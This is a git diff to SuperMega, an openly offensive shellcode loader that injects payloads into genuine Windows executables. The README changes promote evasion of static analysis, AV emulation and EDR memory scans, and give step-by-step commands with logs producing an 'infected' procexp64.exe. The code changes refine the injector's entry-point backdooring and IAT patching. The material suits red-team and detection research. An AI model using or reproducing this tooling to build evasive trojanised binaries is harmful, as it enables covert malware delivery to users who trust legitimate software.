diff --git a/README.md b/README.md index 34ed73d..fc56937 100644 --- a/README.md +++ b/README.md @@ -1,25 +1,28 @@ # SuperMega - Cordyceps Implementation > Ophiocordyceps camponoti-balzani is a species of fungus that parasitizes -> insect hosts of the order Hymenoptera, primarily ants. O. -> camponoti-balzani infects ants, and eventually kills the hosts after +> insect hosts of the order Hymenoptera, primarily ants. +> O. camponoti-balzani infects ants, and eventually kills the hosts after > they move to an ideal location for the fungus to spread its spores. ## What -SuperMega is a shellcode loader by injecting it into genuine executables (.exe or .dll). -The loader is programmed in C. +SuperMega is a shellcode loader by injecting it into genuine executables (.exe or .dll). -The idea is that injecting shellcode nicely into a non-malicious executable should make -it less detected. +The loader shellcode will be tightly integrated into the .exe so that static analysis +has a hard time to spot that the exe is infected. Static analysis will just see +the genuine exe artefacts. + +It also uses modern anti-EDR mechanisms so that the shellcode loading is less likely +to be detected. Features: -* Encrypt payload +* Encrypt payload with XOR * Execution guardrails, so payload is only decrypted on target -* Anti emulation, against AV emulators +* Anti emulation, against AV emulators detecting the payload in memory * EDR deconditioner, against EDR memory scan -* Keep all original properties of the executable (imports etc.) +* Keep all original properties of the executable (imports, metadata etc.) * Very small carrier loader * Code execution with main function hijacking * No PEB walk, reuses IAT to execute windows api functions @@ -35,7 +38,29 @@ References: ![SuperMega](https://raw.githubusercontent.com/dobin/supermega/master/web-screenshot.png) -## Usage +## Usage Preparation + +SuperMega depends on VS2022 compiler. + +Start `x64 native tools command prompt` to execute `web.py` or `supermega.py`. + +Or alternatively if you want to use an existing shell, e.g. for VSC: + +In powershell: +``` +> cmd.exe /k "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" x64 +``` + +In cmd: +``` +> call "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" x64 +``` + +Adjust paths as necessary. This should make `cl.exe` and `Windows.h` available, which are required for +compilation of the carrier shellcode. + + +## Usage Web ``` > ./web.py @@ -44,15 +69,98 @@ References: Browse to `http://localhost:5001". -Alternatively, use `./supermega.py --help`, but its not well supported. +## Usage Command LIne + +Example to inject `calc64.exe` shellcode into `7z.exe`: + +``` +PS C:\Users\dobin\Repos\SuperMega> cmd.exe /k "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" x64 +********************************************************************** +** Visual Studio 2022 Developer Command Prompt v17.12.4 +** Copyright (c) 2022 Microsoft Corporation +********************************************************************** +[vcvarsall.bat] Environment initialized for: 'x64' + +C:\Users\dobin\Repos\SuperMega>python.exe supermega.py +(helper.py ) Write project to: projects/commandline/project.pickle +(project.py ) -[ Cleanup project: commandline +(payload.py ) -[ Payload: data/binary/shellcodes/calc64.bin +(payload.py ) Size: 272 bytes +(templater.py ) -[ Carrier create Template: projects/commandline/main.c +(templater.py ) Carrier: alloc_rw_rx +(templater.py ) Carrier: Code into: .text +(templater.py ) Carrier: Decoder: xor_2 +(templater.py ) Carrier: Invoker: backdoor Entrypoint +(templater.py ) Carrier AntiEmulation: sirallocalot +(templater.py ) Carrier Guardrail: none +(templater.py ) Carrier Decoy: none +(compiler.py ) -[ Carrier: Compile C to ASM +(compiler.py ) Carrier: projects/commandline/main.c -> projects/commandline/main.asm +(helper.py ) > Run process: cl.exe /c /FA /GS- /Faprojects/commandline/ projects/commandline/main.c +(assembler.py ) -[ Carrier: ASM to EXE +(assembler.py ) Carrier: projects/commandline/main.asm -> projects/commandline/main.exe +(helper.py ) > Run process: ml64.exe projects/commandline/main.asm /link /OUT:projects/commandline/main.exe /entry:AlignRSP +(assembler.py ) Carrier Size: 590 +(injector.py ) -[ Injecting Carrier +(injector.py ) Injectable: data/binary/exes/procexp64.exe -> projects/commandline/procexp64.infected.exe +(injector.py ) Checking if IAT entries required by carrier are available +(injector.py ) IAT entries missing: 0 +(injector.py ) Inject: Write Carrier to 0x71C8D (0x7108D) +(injector.py ) Backdoor function at entrypoint (0xE1D78) +(injector.py ) Inject Carrier data into injectable .rdata/.text +(injector.py ) Patch Carrier code to reference the injected data +(injector.py ) -[ Write to file: projects/commandline/procexp64.infected.exe +``` + +To inject shellcode `messagebox.bin` into injectable `procexp64.exe` with carrier `alloc_rw_rx` and decoder `xor_1`, where: +* shellcode `messagebox.bin`: `data/binary/shellcodes/messagebox.bin` +* injectable `procexp64.exe`: `data/binary/exes/procexp64.exe` +* carrier `alloc_rw_rx`: `data/source/carrier/alloc_rw_rx/template.c` +* decoder `xor_1`: `data/source/decoder/xor_1.c` + +``` +> python.exe supermega.py --shellcode messagebox.bin --inject procexp64.exe --carrier alloc_rw_rx --decoder xor_1 +(helper.py ) Write project to: projects/commandline/project.pickle +(project.py ) -[ Cleanup project: commandline +(payload.py ) -[ Payload: data/binary/shellcodes/messagebox.bin +(payload.py ) Size: 433 bytes +(templater.py ) -[ Carrier create Template: projects/commandline/main.c +(templater.py ) Carrier: alloc_rw_rx +(templater.py ) Carrier: Code into: .text +(templater.py ) Carrier: Decoder: xor_1 +(templater.py ) Carrier: Invoker: backdoor Entrypoint +(templater.py ) Carrier AntiEmulation: sirallocalot +(templater.py ) Carrier Guardrail: none +(templater.py ) Carrier Decoy: none +(compiler.py ) -[ Carrier: Compile C to ASM +(compiler.py ) Carrier: projects/commandline/main.c -> projects/commandline/main.asm +(helper.py ) > Run process: cl.exe /c /FA /GS- /Faprojects/commandline/ projects/commandline/main.c +(assembler.py ) -[ Carrier: ASM to EXE +(assembler.py ) Carrier: projects/commandline/main.asm -> projects/commandline/main.exe +(helper.py ) > Run process: ml64.exe projects/commandline/main.asm /link /OUT:projects/commandline/main.exe /entry:AlignRSP +(assembler.py ) Carrier Size: 576 +(injector.py ) -[ Injecting Carrier +(injector.py ) Injectable: data/binary/exes/procexp64.exe -> projects/commandline/procexp64.infected.exe +(injector.py ) Checking if IAT entries required by carrier are available +(injector.py ) IAT entries missing: 0 +(injector.py ) Inject: Write Carrier to 0x71C43 (0x71043) +(injector.py ) Backdoor function at entrypoint (0xE1D78) +(injector.py ) Inject Carrier data into injectable .rdata/.text +(injector.py ) Patch Carrier code to reference the injected data +(injector.py ) -[ Write to file: projects/commandline/procexp64.infected.exe + +> C:\Users\dobin\Repos\SuperMega>.\projects\commandline\procexp64.infected.exe +``` + ## Directories * `data/binary/shellcodes`: Input: Shellcodes we want to use as input (payload) * `data/binary/exes/`: Input: Nonmalicious EXE files we inject into * `data/source/carrier`: Input: Carrier C templates -* `projects/`: output: Project directory with all files -* `projects/default`: output: Project directory with all files +* `projects/`: output: Project directory with generated files, including infected exe +* `projects/default`: output: Project directory with all files from web +* `projects/commandline`: output: Project directory with all files from commandline ## Installation @@ -71,36 +179,6 @@ And the python packages: > pip.exe install -r requirements.txt ``` -### How to get the right paths - -Either start the "visual studio developer console", or -use the following commandline to get all the env right. -Use this when `Cannot find Windows.h`. - -``` -cmd.exe /c "`"C:\Program Files (x86)\Microsoft Visual Studio\\\Common7\Tools\VsDevCmd.bat`" && powershell" -``` - -Also make sure radare2 is in path if you wanna use it: -``` -$Env:PATH += ";C:\Tools\radare2-5.8.8-w64\bin" -``` - - -### Alternative Path Setup - -Try using: -``` -"C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvars64.bat" -``` - -or the VS developer console to find the damn environment variables, and set -it in your python console. In my case: -``` -$env:INCLUDE = "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\ATLMFC\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt;C:\Program Files (x86)\Windows Kits\NETFXSDK\4.8\include\um" -$env:LIB="C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\ATLMFC\lib\x64;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\lib\x64;C:\Program Files (x86)\Windows Kits\NETFXSDK\4.8\lib\um\x64;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x64;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x64" -$env:LIBPATH="C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\ATLMFC\lib\x64;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\lib\x64;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework64\v4.0.30319" -``` ### VS2022 Components diff --git a/pe/superpe.py b/pe/superpe.py index 1e789a2..58ce9b2 100644 --- a/pe/superpe.py +++ b/pe/superpe.py @@ -322,7 +322,7 @@ class SuperPe(): new_name_bytes = new_func_name.encode("ascii") + b'\x00' * (len(func_name) - len(new_func_name)) # Overwrite the name in the file data - logger.info(" Patch IAT entry at offset 0x{:X} from {} to {}".format( + logger.debug(" Patch IAT entry at offset 0x{:X} from {} to {}".format( offset, func_name, new_name_bytes.decode())) self.pe.set_bytes_at_offset(offset, new_name_bytes) diff --git a/phases/injector.py b/phases/injector.py index ab697f8..40b0e7b 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -157,27 +157,25 @@ class Injector(): elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: addr = self.superpe.getExportEntryPoint(self.settings.dllfunc) - logger.info(" Inject: Backdoor DLL {} (0x{:X})".format( + logger.info(" Backdoor DLL {} (0x{:X})".format( self.settings.dllfunc, addr)) self.function_backdoorer.backdoor_function( addr, self.carrier_rva, carrier_shc_len) else: # EXE if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: - logger.info(" Inject: Change Entry Point to 0x{:X}".format( + logger.info(" Change Entry Point to 0x{:X}".format( self.carrier_rva)) self.superpe.set_entrypoint(self.carrier_rva) elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: addr = self.superpe.get_entrypoint() - logger.info(" Inject EXE: Backdoor function at entrypoint (0x{:X})".format( + logger.info(" Backdoor function at entrypoint (0x{:X})".format( addr)) self.function_backdoorer.backdoor_function( addr, self.carrier_rva, carrier_shc_len) - logger.info(" Fix imports and make carrier reference IAT") self.injectable_write_iat_references() - logger.info(" Insert and reference carrier data") self.inject_and_reference_data() # changes from console to UI (no console window) if necessary @@ -200,23 +198,31 @@ class Injector(): def injectable_patch_iat(self): logger.info(" Checking if IAT entries required by carrier are available") - # Patch IAT (if necessary and wanted) - for iatRequest in self.injectable.get_all_iat_requests(): + iatRequests = self.injectable.get_all_iat_requests() + iatMissing = [] + + for iatRequest in iatRequests: # skip available addr = self.superpe.get_vaddr_of_iatentry(iatRequest.name) if addr != None: logger.debug(" Request IAT {} is available at 0x{:X}".format( iatRequest.name, addr)) - continue - iat_name = self.superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name) + else: + logger.debug(" Request IAT {} is NOT available".format( + iatRequest.name)) + iatMissing.append(iatRequest) + logger.info(" IAT entries missing: {}".format(len(iatMissing))) + for iatRequest in iatMissing: + # Not available, check if we can patch it + iat_name = self.superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name) if not self.settings.fix_missing_iat: raise Exception("Error: {} not available, but fix_missing_iat is False".format( iatRequest.name)) # do the patch self.superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name) - #logger.info(" Unavailable IAT {} now patched".format( - # iatRequest.name)) + logger.info(" Patch injectable to import {}".format( + iatRequest.name)) # we modify the IAT raw, so reparsing is required self.superpe.pe.parse_data_directories() self.superpe.init_iat_entries() @@ -266,6 +272,7 @@ class Injector(): return # insert data + logger.info(" Inject Carrier data into injectable .rdata/.text") for datareuse_fixup in reusedata_fixups: logger.debug(" Handling DataReuse Fixup: {} (.code: {})".format( datareuse_fixup.string_ref, datareuse_fixup.in_code)) @@ -298,7 +305,7 @@ class Injector(): datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data))) # replace the placeholder in .text with a LEA instruction to the data we written above - logger.info(" Datareusefixups: patch code to reference the data") + logger.info(" Patch Carrier code to reference the injected data") code = self.superpe.get_code_section_data() for datareuse_fixup in reusedata_fixups: ref: DataReuseReference diff --git a/phases/templater.py b/phases/templater.py index 98559d7..b57e62c 100644 --- a/phases/templater.py +++ b/phases/templater.py @@ -30,6 +30,10 @@ def create_c_from_template(settings: Settings, payload_len: int): logger.info("-[ Carrier create Template: {}".format( settings.main_c_path)) + + # check that source directory exists + if not os.path.exists(src): + raise FileNotFoundError("Source directory does not exist: {}".format(src)) # copy *.c *.h files from src directory to dst directory for file in os.listdir(src): diff --git a/supermega.py b/supermega.py index 8d6c408..533e8f4 100644 --- a/supermega.py +++ b/supermega.py @@ -156,7 +156,11 @@ def start_real(settings: Settings): project.payload.payload_data = preload_dll(project.payload.payload_path) # CREATE: Carrier C source files from template (C->C) - phases.templater.create_c_from_template(settings, len(project.payload.payload_data)) + try: + phases.templater.create_c_from_template(settings, len(project.payload.payload_data)) + except FileNotFoundError as e: + logger.error("Error creating C from template: {}".format(e)) + return 1 # PREPARE DataReuseEntry for usage in Compiler/AsmTextParser # So the carrier is able to find the payload